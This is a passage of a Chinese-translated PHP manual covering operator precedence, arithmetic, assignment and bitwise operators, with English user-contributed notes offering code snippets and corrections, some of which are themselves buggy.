$arr['item'] = 'string';

echo "This is {$arr['item']}"; //prints "This is string".

...does work but, so does:

echo "This is $arr[item]"; //prints "This is string".

... simply enclose the whole string with double quotes and leave out the single quotes from around the index name. This simplifies the code and makes things easier to read.
Stopping at the dot completely
01-Sep-2004 04:33
The low precedence of the OR operator is useful for error control statements such as this one:
$my_file = @file ('non_existent_file') or die ("Failed opening file: error was '$php_errormsg'");

Notice the good readability of the code.
23-Aug-2004 12:51
I think warhog's note about the differing precedence between && / AND and || / OR is worth repeating.  Since && and || evaluate before the assignment operator (=) while AND and OR evaluate after it, you can get COMPLETELY different results if you don't fully parenthesise.

I cannot imagine when it would ever be important that those two pairs have differing precedence, but they do.  And I just spent two hours discovering that the hard way because I broke my career-long rule:

*Always fully parenthesise!*
11-Jun-2004 10:22
Warhog wrote: "maybe usefull for some tricky coding and helpfull to prevent bugs :D"

I'm sure Warhog was being facetious, but for the new programmers in the audience I'd like to point out that 'tricky coding' and relying on precedence/order of evaluation are both well-known ways to *produce* bugs.

Use parentheses instead.
10-Jun-2004 08:58
of course this should be clear, but i think it has to be mentioned espacially:

AND is not the same like &&

for example:

<?php $a && $b || $c; ?>
is not the same like
<?php $a AND $b || $c; ?>

the first thing is
(a and b) or c

the second
a and (b or c)

'cause || has got a higher priority than and, but less than &&

of course, using always [ && and || ] or [ AND and OR ] would be okay, but than you should at least respect the following:

<?php $a = $b && $c; ?>
<?php $a = $b AND $c; ?>

the first code will set $a to the result of the comparison $b with $c, both have to be true, while the second code line will set $a like $b and THAN - after that - compare the success of this with the value of $c

maybe usefull for some tricky coding and helpfull to prevent bugs :D

greetz, Warhog
yasuo_ohgaki at hotmail dot com
26-Mar-2001 04:34
About "{" and "}".
Sometimes PHP programmers need to use "{" and "}" to resolve ambiguity. Here is some examples.

Variable Variables:

$foo = "test";
$$bar = "this is";

echo "${$bar} $foo"; // prints "this is test"
Note: it is the same as
echo "$test $foo";

Array in string:

$arr[10][10][10] = "string";

echo "This is {$arr[10][10][10]}"; // prints "This is string"

Associative Array in string:

$arr['item'] = 'string';

echo "This is {$arr['item']}"; //prints "This is string".
yasuo_ohgaki at hotmail dot com
26-Mar-2001 03:53
Other Language books' operator precedence section usually include "(" and ")" - with exception of a Perl book that I have. (In PHP "{" and "}" should also be considered also). However, PHP Manual is not listed "(" and ")" in precedence list. It looks like "(" and ")" has higher precedence as it should be.

Note: If you write following code, you would need "()" to get expected value.

$bar = true;
$str = "TEST". ($bar ? 'true' : 'false') ."TEST";

Without "(" and ")" you will get only "true" in $str.
(PHP4.0.4pl1/Apache DSO/Linux, PHP4.0.5RC1/Apache DSO/W2K Server)
It's due to precedence, probably.
add a note add a note

后退 | 起点 | 前进
表达式 | 上一级 | 算术运算符


算术运算符

还记得学校里学到的基本数学知识吗？就和它们一样。

表格 15-2. 算术运算符

例子 | 名称 | 结果
-$a | 取反 | $a 的负值。
$a + $b | 加法 | $a 和 $b 的和。
$a - $b | 减法 | $a 和 $b 的差。
$a * $b | 乘法 | $a 和 $b 的积。
$a / $b | 除法 | $a 除以 $b 的商。
$a % $b | 取模 | $a 除以 $b 的余数。

除号（“/”）总是返回浮点数，即使两个运算数是整数（或由字符串转换成的整数）也是这样。

注: 取模 $a % $b 在 $a 为负值时的结果也是负值。

参见手册中的数学函数。

add a note add a note User Contributed Notes
bxm AT cs d0t nott d0t ac d0t uk
06-Jun-2006 07:06
An implementation of the classical modulus operator (as in mathematics or Java). An alternative to the one given below, which was more elegant. This implementation maybe more efficient?

// Computes...
// Mathematics: $a (mod $b)
// Java: $a % $b
function modulus( $a, $b )
{
   if( $a < 0 )
   {
       return $b - ( abs( $a ) % $b );
   }
   else
   {
       return $a % $b;
   }
}
andr3a at 3site dot it
05-Jun-2006 08:14
[ops ... wrong example :D]
just a note about module, it works only with integers.

<?php
$a = pow(2, 31);
$b = ($a / 2) - 1;
echo implode('<br />', array(
   $a + $b, // OK => 3221225472
   $a - $b, // OK => 1073741825
   $a * $b, // OK => 2.3058430070662E+018
   $a / $b, // OK => 2.0000000018626
   $a % $b  // WTF ? => -2
));
?>

maybe bc_mod with a string cast should be a solution

bc_mod((string)pow(2,31), (pow(2,31)/2)-1)
shmee35 at hotmail dot com
15-Dec-2005 07:00
Note that constructs which evaluate to 0 (such as empty strings, false, or an explicit NULL) will be treated as 0 in a arithmetic operation. Therefore:
<?php
echo 5*"", '<br>';
echo 5+false, '<br>';
echo 5/NULL, '<br>';
?>
Will produce:
0
5
Warning: Division by zero
pww8 at cornell dot edu
18-Aug-2005 05:25
It appears floating-point infinity (INF) is not returned from divide by zero (in PHP 5.0.0).  Instead a warning is given and Boolean FALSE is returned.

I searched the various manuals and did not find relevant explanation, so am adding this.
Gemini6Ice
13-Aug-2005 06:59
For integer division, just use floor($a / $b).
rz at daimi dot au dot dk
05-Apr-2005 08:04
This is a really simple observation.
There is no integer division operator. But if you need to divide by a power of 2, you can use the right-shift operator instead. 257/32 gives 8.03125, but 257>>5 gives 8.
areshankar at gmail dot com
17-Mar-2005 06:40
Most of the mail services/bulletin boards display the time when the message was posted or the mail was received in the  form  - 3 days ago, 15 mins ago etc.

Here is  a nifty little PHP function which does the same by basically  combining the usage of "/" and "%" operators.

You need to pass the unix timestamp of the time when the message was posted to the function.

function intervalCalc($postedtime)
{
   $now = time();
   $interval_secs = $now  - $postedtime;

   if ($interval_secs > 86400)
   {
       $interval = (($interval_secs - ($interval_secs%86400))/86400);

       $interval.= " days ago";
   }
   elseif ($interval_secs > 3600)
   {
       $interval = ($interval_secs - ($interval_secs%3600)/3600);

       $interval.= " hours ago";
   }
   elseif ($interval_secs > 60)
   {
       $interval = ($interval_secs - ($interval_secs%60)/60);

       $interval.= " minutes ago";
   }

   return  $interval;

}
sputnik13 at gmail dot com
14-Feb-2005 10:49
I just had to make a comment about gilthans' use of the bitwise xor operator (^)...  I'm guessing from the line if(($x < 0 ^ $y < 0) && $x != 0) that he wants to verify that only x or only y is less than 0 AND x != 0...  Bitwise operators should not be used for truth values like this, that's what xor is for.
justin at koivi dot com
26-Jan-2005 05:08
A note about the documentation on this page that I found while teaching a PHP class:

The above statment: "The division operator ("/") returns a float value anytime, even if the two operands are integers (or strings that get converted to integers)." is NOT TRUE.

Take the following:
<?php
$a=5;
$b=10;
$c=$b/$a;
$d=10/5;
var_dump($c);
var_dump($d);
var_dump($b/$a);
var_dump(10/5);
?>
All 4 instances will print "int(2)"

Therefore, the division operator "/" returns an integer value if the numbers are evenly divisible AND they are both integers (or strings that have been converted to integer values).
no at email dot com
14-Jan-2005 05:08
If you need "div" function like in pascal ( 123 div 10 == 12) you can try this:
$number "div" 10 = ($number-($number % 10)) / 10;
jphansen at uga dot edu
07-Jan-2005 02:12
If the second operand of modulus is of a precision type, modulus will return a boolean instead of a numeric type.
gilthans at gmail dot com
21-Dec-2004 05:13
Me and a few friends were talking about how math works in coding languages, and after a while of discussion, we started wondering how does the sqrt() function works, and how does the division work, using only addition, substraction and multiplication (because that could be easily done using only addition).
I have best knowledge in PHP, so I had my shot at division, and a while of testing proved that my code works. I'm posting this here for the curious, even though the normal PHP division works 7 times faster, so I think there is some way of making my code more efficient.
divide($x, $y, $a, 0) is similar to number_format($x/$y, $a);, and divide($x, $y, $a, 1) is similar to Array(floor($x/$y), $x%$y).
<?php
function divide($x, $y, $a=6, $z=false){
   // returns $x/$y
   $t = '';
   if($y == 0)
   return 0;
   if(($x < 0 ^ $y < 0) && $x != 0)
   $t = '-';
   $x = abs($x);
   $y = abs($y);
   $in = 0;
   while(($in+1)*$y <= $x)
       $in++;
   $r = $x-($in*$y);
   if($z)
   return Array($in, $r);
   $d = '';
   $c = 0;
   while($r != 0 && $c < $a){
   list($u, $r) = divide($r*10, $y, $a, 1);
   $c++;
   if($c >= $a){
       $b = divide($r*10, $y, $a, 1);
       $u += ($b[0] > 4) ? 1 : 0;
   }
   $d .= $u;
   }
   return intval($t.$in.(($d != '') ? ".".$d : ""));
}
?>
adam.pippin at accesscomm dot ca
03-Dec-2004 05:15
To factor a number:

<?php

function factornumber($number)
{
   for ($i=1; $i<=($number/2); $i++)
   {
       if ($number % $i == 0)
       {
           echo "$i * ".($number/$i)." = $number\n";
       }
   }
}

factornumber(50);

?>

That script outputs:

1 * 50 = 50
2 * 25 = 50
5 * 10 = 50
10 * 5 = 50
25 * 2 = 50

As you may notice, it makes no attempts at removing duplicates (eg: 5*10 and 10*5), although it would be trivial to make it do so.
glenn at benge dot co dot nz
06-Oct-2004 02:28
a real simple method to reset an integer to a the next lowest multiple of a divisor

$startSeq = $startSeq - ($startSeq % $entriesPerPage);

if $startSeq was already a multiple, then " $startSeq % $entriesPerPage " will return 0 and $startSeq will not change.
arjini at gmail dot com
09-Sep-2004 12:48
When dealing purely with HTML, especially tables, or other things in "grids"  the modulous operator is really useful for splitting up the data with a seperator.

This snippet reads any gif files from the directory the script is in, prints them out and puts in a break every 5th image.

<?php
   $d = dir('./');
   $i = 0;
   while(false !== ($e = $d->read())){
       if(strpos($e,'.gif')){
           ++$i;
           echo '<img src="'.$e.'"/>'.chr(10);
           if(!($i%5))
               echo '<br/>';
       }
   }
?>

For tables just put </tr><tr> in place of the break.
csaba at alum dot mit dot edu
16-May-2004 08:32
The function below is not a replacement for http://php.net/fmod  Rather, it is the classic (mathematician's) modulo where the resultant value is always non-negative, in the range [0,$base).  For example, mod(-9,7) => 5.  When both arguments are integers, you get the classic notion of the % operator.

function mod($num, $base) {
   return ($num - $base*floor($num/$base)); }

Csaba Gabor
info at sima-pc dot com
02-May-2004 05:48
Note that operator % (modulus) works just with integers (between -214748348 and 2147483647) while fmod() works with short and large numbers.

Modulus with non integer numbers will give unpredictable results.
php AT internethoofdkantoor.nl
13-Jan-2004 08:15
For the mathematicians among us:
The mod operator % works a bit differently than in mathematics (e.g. in group theory), in that negative remainders aren't represented by their positive equivalence classes, as is common in mathematics.

An example:
-1%7 returns -1, instead of 6.

it depends a bit on how you interpret 'remainder of a division', i.e. if you want the remainder to be always positive.
soren at byu dot edu
20-Nov-2003 11:49
Exponentiation doesn't use ^ or ** as you might be used to with other languages.  To calculate "z equals y to the x" use:

$z = pow(y,x)
darnell at uga dot edu
29-Oct-2003 11:57
Also, when automatically converting floats to integers, PHP truncates them rather than rounding.  So in the previous note, 2.4 gets truncated to 2 before the modulus operator is applied.
todd at magnifisites dot com
17-Oct-2003 07:22
There isn't much detail in the PHP Manual regarding the PHP modulus operator (%).  It seems as though the PHP modulus operator (%) works on integer operands. If PHP operates like Perl, then the modulus operator (%) converts its operands to integers before finding the remainder according to integer division.  Testing seems to prove the theory:

<?php
$dividend = 7;
$divisor = 2.4;
print $dividend%$divisor; // prints 1
print fmod($dividend, $divisor); // prints 2.2
?>
add a note add a note

后退 | 起点 | 前进
运算符 | 上一级 | 赋值运算符


赋值运算符

基本的赋值运算符是“=”。一开始可能会以为它是“等于”，其实不是的。它实际上意味着把右边表达式的值赋给左边的运算数。

赋值运算表达式的值也就是所赋的值。也就是说，“$a = 3”的值是 3。这样就可以做一些小技巧：

<?php

$a = ($b = 4) + 5; // $a 现在成了 9，而 $b 成了 4。

?>

在基本赋值运算符之外，还有适合于所有二元算术和字符串运算符的“组和运算符”，这样可以在一个表达式中使用它的值并把表达式的结果赋给它，例如：

<?php

$a = 3;
$a += 5; // sets $a to 8, as if we had said: $a = $a + 5;
$b = "Hello ";
$b .= "There!"; // sets $b to "Hello There!", just like $b = $b . "There!";

?>

注意赋值运算将原变量的值拷贝到新变量中（传值赋值），所以改变其中一个并不影响另一个。这也适合于在很密集的循环中拷贝一些值例如大数组。自 PHP 4 起支持引用赋值，用 $var = &$othervar; 语法，但在 PHP 3 中不可能这样做。引用赋值意味着两个变量都指向同一个数据，没有任何数据的拷贝。有关引用的更多信息见引用的说明。

add a note add a note User Contributed Notes
bradlis7 at bradlis7 dot com
15-Aug-2005 11:13
Note whenever you do this

<?php
$a .= $b .= "bla bla";
?>

it comes out to be the same as the following:

<?php
$a .= $b."bla bla";
$b .= "bla bla";
?>

So $a actually becomes $a and the final $b string. I'm sure it's the same with numerical assignments (+=, *=...).
trosos at atlas dot cz
03-Jul-2004 09:19
Note that the value of an assignment expression is not the value assigned, but the variable itself (after assign, of course). This allows to do something like this:

<?php

function f(&$a)
{
 ...
}

f($v=3);

?>
straz at mac dot nospam dot com
21-Feb-2004 02:18
This page really ought to have table of assignment operators,
namely,

See the Arithmetic Operators page (http://www.php.net/manual/en/language.operators.arithmetic.php)
Assignment    Same as:
$a += $b    $a = $a + $b    Addition
$a -= $b    $a = $a - $b    Subtraction
$a *= $b    $a = $a * $b    Multiplication
$a /= $b    $a = $a / $b    Division
$a %= $b    $a = $a % $b    Modulus

See the String Operators page(http://www.php.net/manual/en/language.operators.string.php)
$a .= $b    $a = $a . $b      Concatenate

See the Bitwise Operators page (http://www.php.net/manual/en/language.operators.bitwise.php)
$a &= $b    $a = $a & $b    Bitwise And
$a |= $b    $a = $a | $b      Bitwise Or
$a ^= $b    $a = $a ^ $b      Bitwise Xor
$a <<= $b    $a = $a << $b    Left shift
$a >>= $b    $a = $a >> $b      Right shift
jeronimo at DELETE_THIS dot transartmedia dot com
29-Jan-2004 11:27
If you want to swap values between variables without using an intermediary, try using the list() and array() language constructs. For instance:

<?

// Initial values.
$biggest = 1;
$smallest = 10;

// Instead of using a temporary variable...
$temp = $biggest;
$biggest = $smallest;
$smallest = $temp;

// ...Just swap the values.
list($biggest, $smallest) = array($smallest, $biggest);

?>

This works with any number of variables; you're not limited to just swapping two.
Cheers,
Jeronimo
add a note add a note

后退 | 起点 | 前进
算术运算符 | 上一级 | 位运算符


位运算符

位运算符允许对整型数中指定的位进行置位。如果左右参数都是字符串，则位运算符将操作字符的 ASCII 值。

<?php
echo 12 ^ 9; // 输出为 '5'

echo "12" ^ "9"; // 输出退格字符（ascii 8）
                    // ('1' (ascii 49)) ^ ('9' (ascii 57)) = #8

echo "hallo" ^ "hello"; // 输出 ascii 值 #0 #4 #0 #0 #0
                            // 'a' ^ 'e' = #4
?>

表格 15-3. 位运算符

例子 | 名称 | 结果
$a & $b | And（按位与） | 将把 $a 和 $b 中都为 1 的位设为 1。
$a | $b | Or（按位或） | 将把 $a 或者 $b 中为 1 的位设为 1。
$a ^ $b | Xor（按位异或） | 将把 $a 和 $b 中不同的位设为 1。
~ $a | Not（按位非） | 将 $a 中为 0 的位设为 1，反之亦然。
$a << $b | Shift left（左移） | 将 $a 中的位向左移动 $b 次（每一次移动都表示“乘以 2”）。
$a >> $b | Shift right（右移） | 将 $a 中的位向右移动 $b 次（每一次移动都表示“除以 2”）。

警告

在 32 位系统上不要右移超过 32 位。不要在结果可能超过 32 位的情况下左移。

add a note add a note User Contributed Notes
27-Apr-2006 03:31
[Editors note: This is not true. You will have to check every possible combination, for instance: $a = array(); $b = ""; $c = null; $d = 0; will print "not equal" but if you set $b = null and $c = "" it will print "equal"]

For the sake of completeness I want to note that a check for equality doesn't have so long winded as in the (wrong) example below. Because of simple laws of logic you don't have to check every possible combination of the variables. The following code will be no surprise for most of you, but for some people it could be helpful.
-Tim

<?php
$a = 42 ;
$b = 42 ;
$c = 1138 ;
$d = 1701 ;

echo $a==$b && $b==$c && $c==$d ? "equal" : "not equal" ; // echoes not equal

$a = 42 ;
$b = 42 ;
$c = 42 ;
$d = 42 ;

echo $a==$b && $b==$c && $c==$d ? "equal" : "not equal" ; // echoes equal
?>
Xavier Daull
05-Feb-2006 05:34
<?php

// Extract part of a binary data - due to windows system limitations (and this code), bit extracted length($firstbit to $lastbit included) is limited to 31 bits
function sub_bindata($mybindata, $firstbit = 7, $lastbit = 0, $highestbitfirst = true)
{
   // 1. Create a bit mask of the right size by triming left and right
   // 2. select bits by an AND on $mybindata
   // 3. shift right to get only length needed
   if($highestbitfirst) return (((0x7FFFFFFF >> (30+$lastbit-$firstbit))<<($lastbit)) & $mybindata) >> ($lastbit);
   else return (((0x7FFFFFFF >> (30-$lastbit+$firstbit))<<(30-$lastbit)) & $mybindata) >> (30-$lastbit);
}

?>
John L
03-Feb-2006 06:11
Bitwise operators are swell, but (a & b & c & d) == a
is not a way to test for four-way equality. If a is zero, it'll always be true, and in general it will be true any time a has no bits not also in the other three values.
Nina Cording
30-Oct-2005 12:50
For those who were searching for a way to actually rotate the bits of a number, here are some little functions I wrote:

<?php

function bitRotate32($value,$amount) {
   if ($amount>0) {
       $amount %= 32;
       $value = ($value<<$amount) | ($value>>(32-$amount));
   } elseif ($amount<0) {
       $amount = -$amount%32;
       $value = ($value>>$amount) | ($value<<(32-$amount));
   }
   return $value;
}

function bitRotate($value,$amount,$bits) {
   $mask = ($bits<32) ? 0x7fffffff >> (31-$bits) : 0xffffffff;
   if ($amount>0) {
       $amount %= $bits;
       $value = ($value<<$amount) | ($value>>($bits-$amount));
   } elseif ($amount<0) {
       $amount = -$amount%$bits;
       $value = ($value>>$amount) | ($value<<($bits-$amount));
   }
   return $value & $mask;
}

// test the rotation:

$test = 4123;
for ($i=0; $i<64; $i++) {
   $value = bitRotate($test,-$i,8); // rotates 8 bits to the left (-$amount)
   echo sprintf("%032b<br/>",$value);
}

?>
zlel grxnslxves13 at hotmail dot com~=s/x/ee/g
27-Oct-2005 10:30
I refer to Eric Swanson's post on Perl VS PHP's implementation of xor.

Actually, this is not an issue with the implementation of XOR,  but a lot more to do with the lose-typing policy that PHP adopts.

Freely switching between int and float is good for most cases, but problems happen when your value is near the word size of your machine. Which is to say, 32-bit machines will encounter problems with values that hover around 0x80000000 - primarily because PHP does not support unsigned integers.

using bindec/decbin would address this issue as a work-around to do unsigned-int xor, but here's the real picture (i'm not claiming that this code will perform better, but this would be a better pedagogical code):

<?php

function unsigned_xor32 ($a, $b)
{
       $a1 = $a & 0x7FFF0000;
       $a2 = $a & 0x0000FFFF;
       $a3 = $a & 0x80000000;
       $b1 = $b & 0x7FFF0000;
       $b2 = $b & 0x0000FFFF;
       $b3 = $b & 0x80000000;

       $c = ($a3 != $b3) ? 0x80000000 : 0;

       return (($a1 ^ $b1) |($a2 ^ $b2)) + $c;
}

$x = 3851235679;
$y = 43814;
echo "<br>This is the value we want";
echo "<br>3851262585";

echo "<br>The result of a native xor operation on integer values is treated as a signed integer";
echo "<br>".($x ^ $y);

echo "<br>We therefore perform the MSB separately";
echo "<br>".unsigned_xor32($x, $y);

?>

This is really foundation stuff, but for those of you who missed this in college, there seems to be something on 2's complement here:

http://www.evergreen.edu/biophysics/technotes/program/2s_comp.htm
zlel
27-Oct-2005 08:22
Here're my 32-bit carry-discarding operations for those of you porting encryption algorithms from C.

Be warned that some of these are not very efficient compared to the native operations, especially when called by heavy-duty encryption algorithms - but not discarding the carry bit may not land you the same results you get in C, simply because PHP's bitwise operations were not designed to work on fixed-sized registers.

(If your ported encryption algo still doen't give you the same results, remember to check your Endian-ness!)

function _BF_SHR32 ($x, $bits)
{
   if ($bits==0) return $x;
   if ($bits==32) return 0;
   $y = ($x & 0x7FFFFFFF) >> $bits;
   if (0x80000000 & $x) {
       $y |= (1<<(31-$bits));
   }
   return $y;
}

function _BF_SHL32 ($x, $bits)
{
   if ($bits==0) return $x;
   if ($bits==32) return 0;
   $mask = (1<<(32-$bits)) - 1;
   return (($x & $mask) << $bits) & 0xFFFFFFFF;
}

function _BF_GETBYTE ($x, $y)
{
   return _BF_SHR32 ($x, 8 * $y) & 0xFF;
}

function _BF_OR32 ($x, $y)
{
   return ($x | $y) & 0xFFFFFFFF;
}

function _BF_ADD32 ($x, $y)
{

   $x = $x & 0xFFFFFFFF;
   $y = $y & 0xFFFFFFFF;

   $total = 0;
   $carry = 0;
   for ($i=0; $i<4; $i++) {
       $byte_x = _BF_GETBYTE($x, $i);
       $byte_y = _BF_GETBYTE($y, $i);
       $sum = $byte_x + $byte_y;

       $result = $sum & 0xFF;
       $carryforward = _BF_SHR32($sum, 8);

       $sum = $result + $carry;
       $result = $sum & 0xFF;
       $carry = $carryforward + _BF_SHR32($sum, 8);

       $total = _BF_OR32(_BF_SHL32($result, $i*8), $total);
   }

   return $total;
}
Tbrendstrup
29-Sep-2005 08:23
note that the shift operators are arithmetic, not logic like in C. You may get unexpected results with negative numbers, see http://en.wikipedia.org/wiki/Bitwise_operation

here's a function to do logic right shifts.

<?php

function lshiftright($var,$amt)
{
   $mask = 0x40000000;
   if($var < 0)
   {
       $var &= 0x7FFFFFFF;
       $mask = $mask >> ($amt-1);
       return ($var >> $amt) | $mask;
   }
   return $var >> $amt;
}

$val = -10;

printf("arithmetic shift on a negative integer<br>%1\$032b<br>%2\$032b<br>%1\$0d<br>%2\$0d<br>",$val, $val >> 1 );

printf("logic shift on a negative integer<br>%1\$032b<br>%2\$032b<br>%1\$0d<br>%2\$0d<br>",$val, lshiftright($val, 1));

printf("logic shift on a positive integer<br>%1\$032b<br>%2\$032b<br>%1\$0d<br>%2\$0d<br>",-$val, lshiftright(-$val, 1));
?>

gives the output:

arithmetic shift on a negative integer
11111111111111111111111111110110
11111111111111111111111111111011
-10
-5

logic shift on a negative integer
11111111111111111111111111110110
01111111111111111111111111111011
-10
2147483643

logic shift on a positive integer
00000000000000000000000000001010
00000000000000000000000000000101
10
5
junk at spheresys dot com
22-Sep-2005 02:25
I wanted to print a binary representation of an integer here it is

<?php

function binString($var, $safety = 0) {
   return ($var & 1) . ($var != 0 && $safety < 31 ? binString($var >> 1, $safety+1) : "");
}

print binString(5); // would print 101
print binString(15); // would print 1111

?>

Explanation:
the first expression after the return statement will evaluate to 1 or 0 according to the least significant bit.

then we have our stop condition if there is still non zero bits left or if we are at the 32nd bit otherwise we call recursively on to the n-1 bits (by shifting out the least significant bit).
Planev ea2005#planev.com
02-Sep-2005 09:42
My very simple bit functions:
setbit($bits,$bit)
getbit($bits,$bit)
unsetbit($bits,$bit)

function setbit($bits,$i){

 if (($i <= strlen($bits)-1) && ($i >= 0)) {
  $bits[strlen($bits)-1-$i] = "1";
 }
 return $bits;
}

function unsetbit($bits,$i){

 if (($i <= strlen($bits)-1) && ($i >= 0)) {
  $bits[strlen($bits)-1-$i] = "0";
 }
 return $bits;
}

function getbit($bits,$i){

 if (($i <= strlen($bits)-1) && ($i >= 0)) {
  $bit = $bits[strlen($bits)-1-$i];
 }
 return $bit;
}
Eric Swanson
01-Sep-2005 08:19
Perl vs. PHP implementation of the ^ operator:

After attempting to translate a Perl module into PHP, I realized that Perl's implementation of the ^ operator is different than the PHP implementation.  By default, Perl treats the variables as floats and PHP as integers.  I was able to verify the PHP use of the operator by stating "use integer;" within the Perl module, which output the exact same result as PHP was using.

The logical decision would be to cast every variable as (float) when using the ^ operator in PHP.  However, this will not yield the same results.  After about a half hour of banging my head against the wall, I discovered a gem and wrote a function using the binary-decimal conversions in PHP.

/*
not having much experience with bitwise operations, I cannot tell you that this is the BEST solution, but it certainly is a solution that finally works and always returns the EXACT same result Perl provides.
*/
function binxor($a, $b) {
   return bindec(decbin((float)$a ^ (float)$b));
}

//normal PHP code will not yeild the same result as Perl
$result = 3851235679 ^ 43814; //= -443704711

//to get the same result as Perl
$result = binxor(3851235679, 43814); //= 3851262585
//YIPPEE!!!

//to see the differences, try the following
$a = 3851235679 XOR 43814;
$b = 3851235679 ^ 43814; //integer result
$c = (float)3851235679 ^ (float)43814; //same as $b
$d = binxor(3851235679, 43814); //same as Perl!!

echo("A: $a<br />");
echo("B: $b<br />");
echo("C: $c<br />");
echo("D: $d<br />");
alexrussell101 at gmail dot com
25-Jul-2005 07:28
re the 12 ^ 9 = 5 comment, the link doesn't seem to work but here's the explanation (although if you're dealing with bitwise operators you really should get this):

12 in binary is 1100
9 in binary is 1001

If you XOR (the ^ operator) these two binary values you get the binary value 0101 (101) which is 5 in decimal. It's that simple.
redduck666 at gmail dot com
23-Jul-2005 06:26
since i have no idea how do we get:

echo 12 ^ 9; // Outputs '5'

i searched for another tutorial, and this is what i found http://www.litfuel.net/tutorials/bitwise.htm, hopefully someone will find this useful ;)
Sb.
19-Apr-2005 10:28
Another practical case...

<?php
   header('Content-Type: text/plain') ;

   // We want to know the power-2 based numbers of $x
   $x = 9124 ;

   $n = 1 ;
   while ( $x > 0 ) {
       if ( $x & 1 == 1 ) {
           echo $n, "\n" ;
       }
       $n *= 2 ;
       $x >>= 1 ;
   }

   // Will output...
   // 4
   // 32
   // 128
   // 256
   // 512
   // 8192
?>
Sb.
05-Mar-2005 07:13
A bitwise operators practical case :

<?php
   // We want to know the red, green and blue values of this color :
   $color = 0xFEA946 ;

   $red = $color >> 16 ;
   $green = ($color & 0x00FF00) >> 8 ;
   $blue = $color & 0x0000FF ;

   printf('Red : %X (%d), Green : %X (%d), Blue : %X (%d)',
       $red, $red, $green, $green, $blue, $blue) ;

   // Will display...
   // Red : FE (254), Green : A9 (169), Blue : 46 (70)
?>
icy at digitalitcc dot com
24-Feb-2005 03:24
Say... you really want to have say... more than 31 bits available to you in your happy bitmask. And you don't want to use floats. So, one solution would to have an array of bitmasks, that are accessed through some kind of interface.

Here is my solution for this: A class to store an array of integers being the bitmasks. It can hold up to 66571993087 bits, and frees up unused bitmasks when there are no bits being stored in them.

<?php
/*
   Infinite* bits and bit handling in general.

   *Not infinite, sorry.

   Perceivably, the only limit to the bitmask class in storing bits would be
   the maximum limit of the index number, on 32 bit integer systems 2^31 - 1,
   so 2^31 * 31 - 1 = 66571993087 bits, assuming floats are 64 bit or something.
   I'm sure that's enough enough bits for anything.. I hope :D.
*/

DEFINE('INTEGER_LENGTH',31); // Stupid signed bit.

class bitmask
{
   protected $bitmask = array();

   public function set( $bit ) // Set some bit
   {
       $key = (int) ($bit / INTEGER_LENGTH);
       $bit = (int) fmod($bit,INTEGER_LENGTH);
       $this->bitmask[$key] |= 1 << $bit;
   }

   public function remove( $bit ) // Remove some bit
   {
       $key = (int) ($bit / INTEGER_LENGTH);
       $bit = (int) fmod($bit,INTEGER_LENGTH);
       $this->bitmask[$key] &= ~ (1 << $bit);
       if(!$this->bitmask[$key])
           unset($this->bitmask[$key]);
   }

   public function toggle( $bit ) // Toggle some bit
   {
       $key = (int) ($bit / INTEGER_LENGTH);
       $bit = (int) fmod($bit,INTEGER_LENGTH);
       $this->bitmask[$key] ^= 1 << $bit;
       if(!$this->bitmask[$key])
           unset($this->bitmask[$key]);
   }

   public function read( $bit ) // Read some bit
   {
       $key = (int) ($bit / INTEGER_LENGTH);
       $bit = (int) fmod($bit,INTEGER_LENGTH);
       return $this->bitmask[$key] & (1 << $bit);
   }

   public function stringin($string) // Read a string of bits that can be up to the maximum amount of bits long.
   {
       $this->bitmask = array();
       $array = str_split( strrev($string), INTEGER_LENGTH );
       foreach( $array as $key => $value )
       {
           if($value = bindec(strrev($value)))
               $this->bitmask[$key] = $value;
       }
   }

   public function stringout() // Print out a string of your nice little bits
   {
       $string = "";

       $keys = array_keys($this->bitmask);
       sort($keys, SORT_NUMERIC);

       for($i = array_pop($keys);$i >= 0;$i--)
       {
           if($this->bitmask[$i])
               $string .= sprintf("%0" . INTEGER_LENGTH . "b",$this->bitmask[$i]);
       }
       return $string;
   }

   public function clear() // Purge!
   {
       $this->bitmask = array();
   }

   public function debug() // See what's going on in your bitmask array
   {
       var_dump($this->bitmask);
   }
}
?>

It treats a positive integer input as a bit, so you don't have to deal with the powers of 2 yourself.

<?php
$bitmask = new bitmask();

$bitmask->set(8979879); // Whatever

$bitmask->set(888);

if($bitmask->read(888))
   print 'Happy!\n';

$bitmask->toggle(39393); // Yadda yadda

$bitmask->remove(888);

$bitmask->debug();

$bitmask->stringin("100101000101001000101010010101010
00000001000001");

print $bitmask->stringout() . "\n";

$bitmask->debug();

$bitmask->clear();

$bitmask->debug();
?>

Would produce:

Happy!

array(2) {
  [289673]=>
  int(65536)
  [1270]=>
  int(8388608)
}

0000000000000001001010001010010001010100101010100
0000001000001

array(2) {
  [0]=>
  int(355106881)
  [1]=>
  int(37970)
}

array(0) {
}
louis /at/ mulliemedia.com
21-Jan-2005 06:12
Note that the ^ operator, unlike in some other languages, is *not* the same as the pow() function.
dasch at ulmail dot net
14-Dec-2004 04:06
The function below can be rewritten to this:

<?php

function setflag (&$var, $flag, $set = true)
{
   $var = $set ? ($var | $flag) : ($var & ~$flag);
}

?>
Gemini_5
08-Sep-2004 06:06
Extending the comment by andrew at thepenry dot net:

His (slightly altered) function for reference:
<?php
function setflag(&$var, $flag, $set) {
   if (($set == 1)) $var = ($var | $flag);
   if (($set == 0)) $var = ($var & ~$flag);
   return;
}
?>

You could shorten the operations to:
<?php
$var |= $flag;  // for setting
$var &= ~$flag; // for unsetting
?>

Which kind of eliminates the need for a function.
rdewaard at DONTSPAMME dot xs4all dot nl
15-Apr-2004 03:36
@jbrand1 at uwe_emm_bee_see dot edu:

"I have to be careful when I add roles so that it's 2^whatever.  I wish I knew how to change the auto_increment so that it was just a bit shift."

If you store your roles in MySQL you might consider NOT using a table 'roles' but adding a field 'roles' to the table 'user' using the datatype SET for that field. The name for each role will have a decimal value 2^whatever! See http://www.vbmysql.com/articles/mysqlsetdatatype.html for details and ideas.
xert
31-Mar-2004 09:11
To determine number of bits set to 1 use:

<?php

function bits($val)
{
   $v = (int)$val;
   $c = 0;

   for ($c=0; $v; $c++)
   {
       $v &= $v - 1;
   }

   return $c;
}

?>

Code from: http://graphics.stanford.edu/~seander/bithacks.html
temp dot 2004-03-27 at fobit dot de
29-Mar-2004 03:58
Always use type casting!

<?php
echo (134 & 512) . "\n";
echo ("134" & "512") . "\n";
echo  ((int)"134" & (int)"512") . "\n";
?>

Output:

0
110    (wrong!)
0
lars dot jensen at ljweb dot com
26-Mar-2004 07:27
A useful set of functions, making it easier to play with bits as a set of booleans. $bit is a integer between 1 and 32 representing the position of the bit you wish to manipulate.

<?php
